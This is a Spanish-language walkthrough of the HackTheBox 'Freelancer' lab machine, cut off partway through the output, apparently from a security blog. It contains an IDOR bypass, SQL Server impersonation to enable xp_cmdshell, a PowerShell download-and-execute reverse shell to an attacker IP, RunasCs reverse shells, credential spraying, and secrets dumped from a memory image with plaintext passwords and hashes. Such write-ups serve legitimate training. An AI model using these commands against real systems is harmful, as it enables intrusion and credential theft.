Freelancer es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Freelancer 10.10.11.5 a /etc/hosts como freelancer.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ nmap -sS -p- --open --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.10.11.5 Nmap scan report for 10.10.11.5 Host is up, received reset ttl 127 (0.041s latency). Scanned at 2024-07-02 23:11:02 CEST for 12s Not shown: 65485 closed tcp ports (reset), 27 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49665/tcp open unknown syn-ack ttl 127 49666/tcp open unknown syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49671/tcp open unknown syn-ack ttl 127 49676/tcp open unknown syn-ack ttl 127 49677/tcp open unknown syn-ack ttl 127 49678/tcp open unknown syn-ack ttl 127 49681/tcp open unknown syn-ack ttl 127 55297/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Tue Jul 2 23:11:14 2024 -- 1 IP address (1 host up) scanned in 12.46 seconds |
Una vez detectados los puertos abiertos, escaneamos en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
$ nmap -sCV -p 53,80,88,135,139,445,464,593,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49678,49681,55297 -oA enumeration/nmap2 10.10.11.5 Nmap scan report for 10.10.11.5 Host is up (0.042s latency). PORT STATE SERVICE VERSION 53/tcp open domain? 80/tcp open http nginx 1.25.5 |_http-title: Did not follow redirect to http://freelancer.htb/ |_http-server-header: nginx/1.25.5 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-03 02:11:30Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49678/tcp open msrpc Microsoft Windows RPC 49681/tcp open msrpc Microsoft Windows RPC 55297/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-07-03T02:10:32 |_Not valid after: 2054-07-03T02:10:32 | ms-sql-ntlm-info: | 10.10.11.5\SQLEXPRESS: | Target_Name: FREELANCER | NetBIOS_Domain_Name: FREELANCER | NetBIOS_Computer_Name: DC | DNS_Domain_Name: freelancer.htb | DNS_Computer_Name: DC.freelancer.htb | DNS_Tree_Name: freelancer.htb |_ Product_Version: 10.0.17763 | ms-sql-info: | 10.10.11.5\SQLEXPRESS: | Instance name: SQLEXPRESS | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false | TCP port: 55297 | Named pipe: \\10.10.11.5\pipe\MSSQL$SQLEXPRESS\sql\query |_ Clustered: false |_ssl-date: 2024-07-03T02:14:02+00:00; +5h00m01s from scanner time. Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-07-03T02:13:51 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: 5h00m00s, deviation: 0s, median: 4h59m59s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jul 2 23:14:02 2024 -- 1 IP address (1 host up) scanned in 159.75 seconds |
Enumeración
Accedemos al portal web del puerto 80 y vemos una web de búsqueda de trabajo

No tenemos credenciales así que nos creamos una cuenta como empleado en el portal, pero al intentar loguearnos nos salta un error de que la cuenta no está activada

Esta parte es sencilla de bypassear, enviamos el formulario de recuperación de la cuenta y automáticamente estará activada la cuenta, así que accedemos y vemos el siguiente dashboard

Revisamos el portal y nos centramos en la sección de generación de códigos QR

Y obtendremos una url similar a la siguiente al generar el código
|
1 |
http://freelancer.htb/accounts/login/otp/MTAwMTI=/3b4a5d2fa5b88a28cbb142df44b93951/ |
decodificamos el primer valor codificado de la uri
|
1 2 |
$ echo "MTAwMTI="|base64 -d 10012 |
y vemos lo que parece un id de usuario, que podemos confirmar revisando nuestro usuario en el panel web, así que lo que podemos tener aquí sería una vulnerabilidad de IDOR.
Procedemos entonces a cambiar el id indicado en la url y obtenemos acceso como administrador enviando el id 2

Acceso a través de SQLi
Ya somos admin, así que vamos a ver si existe algún panel de administrador y lo encontramos bajo la uri /admin y luce tal que así

Si nos fijamos en los elementos del menú, vemos una muy interesante, SQL Terminal, así que accedemos y nos despliega una consola debajo del menú

Viendo la posibilidad vamos a ir haciendo las diferentes consultas a ver si podemos ejecutar una shell desde aquí, para evitar poner demasiadas capturas de pantalla voy poniendo la query y el resultado obtenido.
Comprobaremos en primer lugar el usuario
|
1 2 3 |
SELECT user_name(); Freelancer_webapp_user |
y el owner de la base de datos
|
1 2 3 |
SELECT suser_sname(owner_sid) FROM sys.databases sa |
Vamos a verificar que podemos disponer del rol de sysadmin
|
1 2 3 4 |
EXECUTE AS LOGIN = 'sa' SELECT IS_SRVROLEMEMBER('sysadmin') 1 |
y sí que podemos, así que nos impersonamos como sa y verificamos de nuevo
|
1 2 3 4 5 |
EXECUTE AS LOGIN = 'sa' EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin' SELECT IS_SRVROLEMEMBER('sysadmin') 1 |
todo correcto, así que habilitamos xp_cmdshell y ejecutamos una revhsell
|
1 2 3 |
EXEC sp_configure 'show advanced options', '1'; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE; EXEC xp_cmdshell 'powershell -c "IEX (iwr -usebasicparsing http://10.10.14.15/rev.ps1)"' |
y ya estamos dentro
|
1 2 3 4 5 6 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.5] 60747 SHELL> whoami freelancer\sql_svc SHELL> |
Escalado al usuario mikasaAckerman
Ya estamos dentro así que vamos a ver que podemos hacer. Empezamos por la home del usuario y encontramos un fichero de configuración
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
SHELL> dir Directory: C:\users\sql_svc\downloads\SQLEXPR-2019_x64_ENU Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/27/2024 1:52 PM 1033_ENU_LP d----- 5/27/2024 1:52 PM redist d----- 5/27/2024 1:52 PM resources d----- 5/27/2024 1:52 PM x64 -a---- 9/24/2019 9:00 PM 45 AUTORUN.INF -a---- 9/24/2019 9:00 PM 784 MEDIAINFO.XML -a---- 9/29/2023 4:49 AM 16 PackageId.dat -a---- 9/24/2019 9:00 PM 142944 SETUP.EXE -a---- 9/24/2019 9:00 PM 486 SETUP.EXE.CONFIG -a---- 5/27/2024 4:58 PM 724 sql-Configuration.INI -a---- 9/24/2019 9:00 PM 249448 SQLSETUPBOOTSTRAPPER.DLL |
en el cual encontramos unas credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
SHELL> type sql-Configuration.INI [OPTIONS] ACTION="Install" QUIET="True" FEATURES=SQL INSTANCENAME="SQLEXPRESS" INSTANCEID="SQLEXPRESS" RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS" AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE" AGTSVCSTARTUPTYPE="Manual" COMMFABRICPORT="0" COMMFABRICNETWORKLEVEL=""0" COMMFABRICENCRYPTION="0" MATRIXCMBRICKCOMMPORT="0" SQLSVCSTARTUPTYPE="Automatic" FILESTREAMLEVEL="0" ENABLERANU="False" SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS" SQLSVCACCOUNT="FREELANCER\sql_svc" SQLSVCPASSWORD="IL0v3ErenY3ager" SQLSYSADMINACCOUNTS="FREELANCER\Administrator" SECURITYMODE="SQL" SAPWD="t3mp0r@ryS@PWD" ADDCURRENTUSERASSQLADMIN="False" TCPENABLED="1" NPENABLED="1" BROWSERSVCSTARTUPTYPE="Automatic" IAcceptSQLServerLicenseTerms=True |
así que sacamos los usuarios existentes para generar un diccionario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
SHELL> net user User accounts for \\DC ------------------------------------------------------------------------------- Administrator alex.hill carol.poland d.jones dthomas ereed Ethan.l evelyn.adams Guest hking jen.brown jgreen jmartinez krbtgt leon.sk lkazanof lorra199 maya.artmes michael.williams mikasaAckerman olivia.garcia samuel.turner sdavis sophia.h sql_svc SQLBackupOperator sshd taylor wwalker The command completed successfully. |
y vamos a ver a quién pertenecen las credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ crackmapexec smb freelancer.htb -u ../dicts/users.txt -p 'IL0v3ErenY3ager' --continue-on-success SMB freelancer.htb 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False) SMB freelancer.htb 445 DC [-] freelancer.htb\Administrator:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\alex.hill:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\carol.poland:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\d.jones:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\dthomas:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\ereed:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\Ethan.l:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\evelyn.adams:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\Guest:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\hking:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\jen.brown:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\jgreen:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\jmartinez:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\krbtgt:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\leon.sk:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\lkazanof:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\lorra199:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\maya.artmes:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\michael.williams:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager SMB freelancer.htb 445 DC [-] freelancer.htb\olivia.garcia:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\samuel.turner:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sdavis:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sophia.h:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sql_svc:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\SQLBackupOperator:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sshd:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\taylor:IL0v3ErenY3ager STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\wwalker:IL0v3ErenY3ager STATUS_LOGON_FAILURE |
y ya que este usuario no puede acceder por winrm, accedemos con runas
|
1 2 3 4 5 |
SHELL> .\RunasCs.exe mikasaAckerman IL0v3ErenY3ager cmd.exe -r 10.10.14.15:443 [+] Running in session 0 with process function CreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-4b936$\Default [+] Async process 'C:\WINDOWS\system32\cmd.exe' with pid 1352 created in background. |
y tenemos acceso con el usuario en nuestra escucha
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.5] 61536 Microsoft Windows [Version 10.0.17763.5830] (c) 2018 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>whoami whoami freelancer\mikasaackerman C:\WINDOWS\system32> |
Obteniendo la flag de user
Una vez tenemos acceso con el usuario mikasaackerman, vamos a su escritorio para coger la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
c:\Users\mikasaAckerman\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 8954-28AE Directory of c:\Users\mikasaAckerman\Desktop 05/28/2024 10:22 AM <DIR> . 05/28/2024 10:22 AM <DIR> .. 10/28/2023 06:23 PM 1,468 mail.txt 10/04/2023 01:47 PM 292,692,678 MEMORY.7z 07/02/2024 10:10 PM 34 user.txt 3 File(s) 292,694,180 bytes 2 Dir(s) 2,568,740,864 bytes free c:\Users\mikasaAckerman\Desktop>type user.txt type user.txt a4f146e233c9ac9a54a512cd62aadc42 c:\Users\mikasaAckerman\Desktop> |
Escalado al usuario lorra199
Antes de continuar vamos a obtener información del ad para después poder analizarla con bloodhound
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ sudo rdate -n freelancer.htb && bloodhound-python -u mikasaAckerman -p 'IL0v3ErenY3ager' -d freelancer.htb -ns 10.10.11.5 -c all 2024-07-03 05:26:47.099230 (+0200) +18000.385138 +/- 0.020783 dc.freelancer.htb 10.10.11.5 s1 no-leap CLOCK: time stepped by 18000.385138 INFO: Found AD domain: freelancer.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc.freelancer.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 8 computers INFO: Connecting to LDAP server: dc.freelancer.htb INFO: Found 30 users INFO: Found 58 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: SetupMachine.freelancer.htb INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: Datacenter-2019 INFO: Querying computer: DC.freelancer.htb WARNING: Could not resolve: Datacenter-2019: All nameservers failed to answer the query Datacenter-2019. IN A: Server Do53:10.10.11.5@53 answered SERVFAIL INFO: Done in 00M 09S |
En la home del usuario encontramos también dos cosas interesantes, un fichero de texto de un correo
|
1 2 3 4 5 6 7 |
c:\Users\mikasaAckerman\Desktop>type mail.txt type mail.txt Hello Mikasa, I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019. I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart. Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue. Best regards, |
y un dumpeo de memoria, que por lo que dice el correo es del datacenter, así que es posible que encontremos algo interesante ahí.
Nos traemos el fichero montando un servidor smb con impacket y extraemos su contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ 7za x MEMORY.7z 7-Zip (a) 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26 64-bit locale=C.UTF-8 Threads:16 OPEN_MAX:1024 Scanning the drive for archives: 1 file, 292692678 bytes (280 MiB) Extracting archive: MEMORY.7z -- Path = MEMORY.7z Type = 7z Physical Size = 292692678 Headers Size = 130 Method = LZMA2:26 Solid = - Blocks = 1 Everything is Ok Size: 1782252040 Compressed: 292692678 |
una vez tenemos el dumpeo, lo montamos con memprocfs
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ memprocfs -f MEMORY.DMP -mount mnt/ Initialized 64-bit Windows 10.0.17763 ============================== MemProcFS ============================== - Author: Ulf Frisk - pcileech@frizk.net - Info: https://github.com/ufrisk/MemProcFS - Discord: https://discord.gg/pcileech - License: GNU Affero General Public License v3.0 --------------------------------------------------------------------- MemProcFS is free open source software. If you find it useful please become a sponsor at: https://github.com/sponsors/ufrisk Thank You :) --------------------------------------------------------------------- - Version: 5.9.18 (Linux) - Mount Point: mnt/ - Tag: 17763_a3431de6 - Operating System: Windows 10.0.17763 (X64) ========================================================================== |
y revisamos el mismo, encontrando los ficheros de SAM, SYSTEM y SECURITY
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ ll registry/hive_files/ total 0 -rw-r--r-- 1 xxxx xxxx 8192 Jul 3 15:30 0xffffd30679c0e000-unknown-unknown.reghive -rw-r--r-- 1 xxxx xxxx 18440192 Jul 3 15:30 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive -rw-r--r-- 1 xxxx xxxx 28672 Jul 3 15:30 0xffffd30679cdc000-unknown-MACHINE_HARDWARE.reghive -rw-r--r-- 1 xxxx xxxx 8192 Jul 3 15:30 0xffffd3067b257000-settingsdat-A_{c94cb844-4804-8507-e708-439a8873b610}.reghive -rw-r--r-- 1 xxxx xxxx 323584 Jul 3 15:30 0xffffd3067b261000-ActivationStoredat-A_{23F7AFEB-1A41-4BD7-9168-EA663F1D9A7D}.reghive -rw-r--r-- 1 xxxx xxxx 28672 Jul 3 15:30 0xffffd3067b514000-BCD-MACHINE_BCD00000000.reghive -rw-r--r-- 1 xxxx xxxx 90902528 Jul 3 15:30 0xffffd3067b516000-SOFTWARE-MACHINE_SOFTWARE.reghive -rw-r--r-- 1 xxxx xxxx 319488 Jul 3 15:30 0xffffd3067d7e9000-DEFAULT-USER_.DEFAULT.reghive -rw-r--r-- 1 xxxx xxxx 49152 Jul 3 15:30 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive -rw-r--r-- 1 xxxx xxxx 49152 Jul 3 15:30 0xffffd3067d935000-SAM-MACHINE_SAM.reghive -rw-r--r-- 1 xxxx xxxx 188416 Jul 3 15:30 0xffffd3067d9c4000-NTUSERDAT-USER_S-1-5-20.reghive -rw-r--r-- 1 xxxx xxxx 241664 Jul 3 15:30 0xffffd3067db43000-BBI-A_{ae450ff4-3002-4d4d-921c-fd354d63ec8b}.reghive -rw-r--r-- 1 xxxx xxxx 172032 Jul 3 15:30 0xffffd3067db53000-NTUSERDAT-USER_S-1-5-19.reghive -rw-r--r-- 1 xxxx xxxx 118784 Jul 3 15:30 0xffffd3067dd5e000-ActivationStoredat-A_{D65833F6-A688-4A68-A28F-F59183BDFADA}.reghive -rw-r--r-- 1 xxxx xxxx 1224704 Jul 3 15:30 0xffffd3067e30e000-UsrClassdat-USER_S-1-5-21-3542429192-2036945976-3483670807-1121_Classes.reghive -rw-r--r-- 1 xxxx xxxx 1478656 Jul 3 15:30 0xffffd3067ec26000-Amcachehve-A_{da3518a3-bbc6-1dba-206b-2755382f1364}.reghive -rw-r--r-- 1 xxxx xxxx 524288 Jul 3 15:30 0xffffd3067ec39000-ntuserdat-USER_S-1-5-21-3542429192-2036945976-3483670807-1121.reghive -rw-r--r-- 1 xxxx xxxx 45056 Jul 3 15:30 0xffffd3067ec58000-settingsdat-A_{8a28242f-95cc-f96a-239c-d8a872afe4cc}.reghive -rw-r--r-- 1 xxxx xxxx 3813376 Jul 3 15:30 0xffffd3067f097000-DRIVERS-MACHINE_DRIVERS.reghive -rw-r--r-- 1 xxxx xxxx 1404928 Jul 3 15:30 0xffffd3067f91b000-UsrClassdat-USER_S-1-5-21-3542429192-2036945976-3483670807-500_Classes.reghive -rw-r--r-- 1 xxxx xxxx 643072 Jul 3 15:30 0xffffd3067f9e7000-ntuserdat-USER_S-1-5-21-3542429192-2036945976-3483670807-500.reghive |
y con secretsdump sacamos las credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Target system bootKey: 0xaeb5f8f068bbe8789b87bf985e129382 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:725180474a181356e53f4fe3dffac527::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04fc56dd3ee3165e966ed04ea791d7a7::: [*] Dumping cached domain logon information (domain/username:hash) FREELANCER.HTB/Administrator:$DCC2$10240#Administrator#67a0c0f193abd932b55fb8916692c361: (2023-10-04 12:55:34) FREELANCER.HTB/lorra199:$DCC2$10240#lorra199#7ce808b78e75a5747135cf53dc6ac3b1: (2023-10-04 12:29:00) FREELANCER.HTB/liza.kazanof:$DCC2$10240#liza.kazanof#ecd6e532224ccad2abcf2369ccb8b679: (2023-10-04 17:31:23) [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC:plain_password_hex:a680a4af30e045066419c6f52c073d738241fa9d1cff591b951535cff5320b109e65220c1c9e4fa891c9d1ee22e990c4766b3eb63fb3e2da67ebd19830d45c0ba4e6e6df93180c0a7449750655edd78eb848f757689a6889f3f8f7f6cf53e1196a528a7cd105a2eccefb2a17ae5aebf84902e3266bbc5db6e371627bb0828c2a364cb01119cf3d2c70d920328c814cad07f2b516143d86d0e88ef1504067815ed70e9ccb861f57394d94ba9f77198e9d76ecadf8cdb1afda48b81f81d84ac62530389cb64d412b784f0f733551a62ec0862ac2fb261b43d79990d4e2bfbf4d7d4eeb90ccd7dc9b482028c2143c5a6010 $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1003ddfa0a470017188b719e1eaae709 [*] DPAPI_SYSTEM dpapi_machinekey:0xcf1bc407d272ade7e781f17f6f3a3fc2b82d16bc dpapi_userkey:0x6d210ab98889fac8829a1526a5d6a2f76f8f9d53 [*] NL$KM 0000 63 4D 9D 4C 85 EF 33 FF A5 E1 4D E2 DC A1 20 75 cM.L..3...M... u 0010 D2 20 EA A9 BC E0 DB 7D BE 77 E9 BE 6E AD 47 EC . .....}.w..n.G. 0020 26 02 E1 F6 BF F5 C5 CC F9 D6 7A 16 49 1C 43 C5 &.........z.I.C. 0030 77 6D E0 A8 C6 24 15 36 BF 27 49 96 19 B9 63 20 wm...$.6.'I...c NL$KM:634d9d4c85ef33ffa5e14de2dca12075d220eaa9bce0db7dbe77e9be6ead47ec2602e1f6bff5c5ccf9d67a16491c43c5776de0a8c6241536bf27499619b96320 [*] _SC_MSSQL$DATA (Unknown User):PWN3D#l0rr@Armessa199 [*] Cleaning up... |
tenemos una válida, así que vamos a ver de nuevo si pertenece a alguno de los usuarios existentes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ crackmapexec smb freelancer.htb -u users.txt -p 'PWN3D#l0rr@Armessa199' --continue-on-success SMB freelancer.htb 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False) SMB freelancer.htb 445 DC [-] freelancer.htb\Administrator:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\alex.hill:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\carol.poland:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\d.jones:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\dthomas:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\ereed:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\Ethan.l:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\evelyn.adams:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\Guest:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\hking:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\jen.brown:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\jgreen:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\jmartinez:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\krbtgt:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\leon.sk:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\lkazanof:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [+] freelancer.htb\lorra199:PWN3D#l0rr@Armessa199 SMB freelancer.htb 445 DC [-] freelancer.htb\maya.artmes:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\michael.williams:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\mikasaAckerman:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\olivia.garcia:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\samuel.turner:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sdavis:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sophia.h:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sql_svc:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\SQLBackupOperator:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\sshd:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] freelancer.htb\taylor:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE SMB freelancer.htb 445 DC [-] 